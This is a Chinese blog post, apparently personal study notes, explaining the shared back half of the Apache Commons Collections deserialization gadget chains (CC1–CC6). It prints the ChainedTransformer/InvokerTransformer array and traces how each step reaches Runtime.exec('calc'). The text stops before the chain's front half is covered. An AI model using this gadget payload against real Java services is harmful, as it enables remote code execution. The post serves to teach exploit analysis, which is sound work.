0%

cc的开端

0x00 前言

​ 面试的时候啥都不会被暴打,呜呜呜,再自己分析一遍cc6吧。要不以后面试可能还会被暴打。

​ 这里说一下几条cc链通用的后半部分原理,这样也就不用多次重复了。

0x01 开始

​ 从InvokerTransformer下手。因为条链其实只是在执行Transformertransfrom()函数罢了。

image-20201129160350169

InvokerTransformer会将传入的Object input当做类的对象,执行该对象的iMethodName方法,参数为iArgs。通过查看getMethod方法,我们就可以理解为什么我们的iParamTypes要传入一个new Class[]{...}了。getMethod这么写的目的当然是找到准确的方法以使用(防止重载找错函数)。顺带一提,Class<?>...其实代表的就是Class的数组。

image-20201129160717661

​ 接下来我们以RuntimegetMethod为例子。来具体的分析一下这个Transformer到底做了什么。

1
2
3
4
5
6
7
8
9
10
11
12
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

​ 相信这串代码也不会有人不熟悉了。这是cc1 - cc6的所有后半部分的代码。也就是我们经常看到的:

1
2
3
org.apache.commons.collections.functors.ChainedTransformer.transform()                        org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

​ 但是这串代码到底是怎么命令执行的呢?这就是我们今天的目的之一。先来看ChainedTransformer这个类。它的transform代码如下:

1
2
3
4
5
6
7
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

​ 也就是说前一个语句的执行结果会被当成后一个语句的参数。简单来说就是i=0时的object会被当做i=1时的transform(object)中的object。从而完成一个链式结构。那么接下来我们一句一句分析。

首先是ConstantTransformer.

1
2
3
4
//类名为 Runtime
new ConstantTransformer(Runtime.class)
<==>
Class.forName("java.lang.Runtime")

然后是getMethod。起先我一直以为这是直接执行了getRuntime,然后就想不通这个invoke有啥用,后来才知道,原来这返回结果是一个Method。。。

1
2
3
4
5
6
7
8
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] })
<==>
Class cls = input.getClass();
Method method = cls.getMethod("getMethod",new Class[]{String.class,Class[].class});
method.invoke(input, new Object[]{"getRuntime",new Class[0]});
//结果是 public static java.lang.Runtime java.lang.Runtime.getRuntime() 也就是说返回值是一个Method,而不是 Runtime 对象,需要再 invoke() 执行一次才能成为 Runtime 对象

执行上一步返回的Method函数。getRuntime会直接返回Runtime对象的。

1
2
3
4
5
6
7
8
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] })
<==>
cls = input.getClass();
method = cls.getMethod("invoke",new Class[] {Object.class, Object[].class });
input = method.invoke(input, new Object[] {null, new Object[0] });
//结果是 java.lang.Runtime@e285c6 。其实就是代表 Runtime.getRuntime() 执行成功。

然后就是exec命令执行。

1
2
3
4
5
6
7
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs)
<==>
cls = input.getClass();
method = cls.getMethod("exec",new Class[] {String.class});
input = method.invoke(input,"calc");
//弹出计算器,其实命令执行到此已经结束。后面的 new ConstantTransformer(1) 没啥意义。

所以上面的利用链其实是这样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Class clazz = Class.forName("java.lang.Runtime");

Object input = clazz;
Class cls = input.getClass();
Method method = cls.getMethod("getMethod",new Class[]{String.class,Class[].class});
input = method.invoke(input, new Object[]{"getRuntime",new Class[0]});

cls = input.getClass();
method = cls.getMethod("invoke",new Class[] {Object.class, Object[].class });
input = method.invoke(input, new Object[] {null, new Object[0] });

cls = input.getClass();
method = cls.getMethod("exec",new Class[] {String.class});
input = method.invoke(input,"calc");

​ 这也就是我们的后半部分了。接下来讲前半部分。。